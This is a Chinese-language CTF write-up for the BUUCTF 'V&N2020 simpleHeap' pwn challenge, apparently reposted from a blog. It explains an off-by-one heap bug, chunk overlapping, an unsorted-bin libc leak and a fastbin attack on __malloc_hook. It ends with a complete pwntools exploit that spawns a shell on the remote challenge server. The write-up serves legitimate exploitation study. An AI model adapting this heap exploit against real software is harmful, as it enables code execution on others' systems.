BUUCTF [V&N2020 公开赛]simpleHeap

又是一个堆题
在这里插入图片描述
sub_AB2 是到heap_got (储存堆指针的表)里面找第一个空着的堆序号返回给v1,没有可用的就返回-1,最多申请10个堆

之后输入堆的大小,最大是 111,也就是0x6F,,加上chunk头是0x7F ,也就是申请的堆只能fastbin大小

之后是填写 heap_got ,并且写入堆,没有溢出 (但是申请不是0x10整数倍而是多出8字节,比如 0x18 0x28,多出的8字节会在下一个chunk的presize里使用,,这是presize的复用,堆的一个机制,后面会说到,利用这个机制还有 off by one 覆盖size位)
在这里插入图片描述

edit函数可以看到get_input_content函数包含一个off_by_one漏洞。
在这里插入图片描述

在这里插入图片描述
两个函数没有什么错误,指针还置零了
利用off-by-one漏洞,篡改chunk的size大小,使被篡改大小的chunk覆盖其后已申请的chunk大小,从而导致chunk overlapping

思路

使被篡改的chunk的size超过fastbin大小,64位linux下是0x80,使其free之后落入unsortedbins,当unsorted bins中只有一个kongxianchunk时,其fd去bk指针均指向main_arena+88,从而泄露arena地址,进一步泄露libc机制
获得libc基址之后,伪造fake_chunk,使其指向malloc_hook附近,并利用fastbin attack获得fake chunk,从而改写malloc hook为one_gadget,使得下一次申请堆时执行one_gadget

1.申请chunks,利用off-by-one,改写chunk1大小
2. 利用Edit功能里存在的off-by-one漏洞,改写chunk1的size,使其包含chunk1与chunk2,即chunk1 chunk overlapping chunk2,并释放chunk1,这时其大小为0xe0(0x70+0x70),落入unsorted bins
3. 申请chunk1未修改之前大小的chunk(0x60),使得unsorted bins切片,这时chunk1指向新申请到的0x70大小的chunk,而chunk2 仍然在unsorted bin中(但是实际上它之前就已经被用户申请了,所以直接利用show功能显示chunk2里的内容,即泄露main_aren
4. 利用vmmap,查看加载libc的基址,如图,可以看到libc基址为0x7ffff7a0d000(注意,这里是libc-2.23.so,而不是/lib/x86_64-linux-gnu/ld-2.23.so,后者是本机libc,前者为我们主动加载的libc),步骤3获知main arena地址为0x7ffff7dd1b78-88=0x7ffff7dd1b20,则偏移量为0x7ffff7dd1b78-0x7ffff7a0d000=0x3c4b20

from pwn import *
 
 
#io = process(['./vn_pwn_simpleHeap'],env={"LD_PRELOAD":"./libc-2.23.so"})
io=remote("node3.buuoj.cn",28058)
elf=ELF('./vn_pwn_simpleHeap')
libc=ELF('./libc-2.23.so')
context(os='linux',arch=elf.arch,log_level='debug')
 
def Add(size,content):
    io.recvuntil("choice: ")
    io.sendline("1")
    io.sendlineafter("size?",str(size))
    io.sendlineafter("content:",content)
 
def Edit(idx,content):
    io.recvuntil("choice: ")
    io.sendline("2")
    io.sendlineafter("idx?",str(idx))
    io.sendlineafter("content:",content)
 
def Show(idx):
    io.recvuntil("choice: ")
    io.sendline("3")
    io.sendlineafter("idx?",str(idx))
 
def Delete(idx):
    io.recvuntil("choice: ")
    io.sendline("4")
    io.sendlineafter("idx?",str(idx))
 
def Exit():
    io.sendlineafter("choice: ", "5")
 
 
Add(0x18,"AAAA")#0
Add(0x60,"AAAA")#1
Add(0x60,"AAAA")#2
Add(0x10,"AAAA")#3
 
Edit(0,"A"*0x18+"\xe1")
Delete(1)
 
Add(0x60,"BBBB")#1
Show(2)
main_arena=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x58
log.success("main arena address : "+hex(main_arena))
 
libc_base=main_arena-0x3C4B20
malloc_hook=main_arena-0x10
fake_chunk=malloc_hook-0x23
 
realloc_hook=libc_base+libc.symbols['__libc_realloc']
one_gadget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+one_gadget_offset[1]
 
 
Add(0x60,"tmp")#4
Delete(4)
Edit(2,p64(fake_chunk))
Add(0x60,"tmp")
payload="c"*(0x13-0x8)+p64(one_gadget)+p64(realloc_hook+13)
Add(0x60,payload)#5
 
io.recvuntil("choice: ")
io.sendline("1")
io.sendlineafter("size?", "1")
 
 
io.interactive()
 

灵感借鉴与

猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/114269232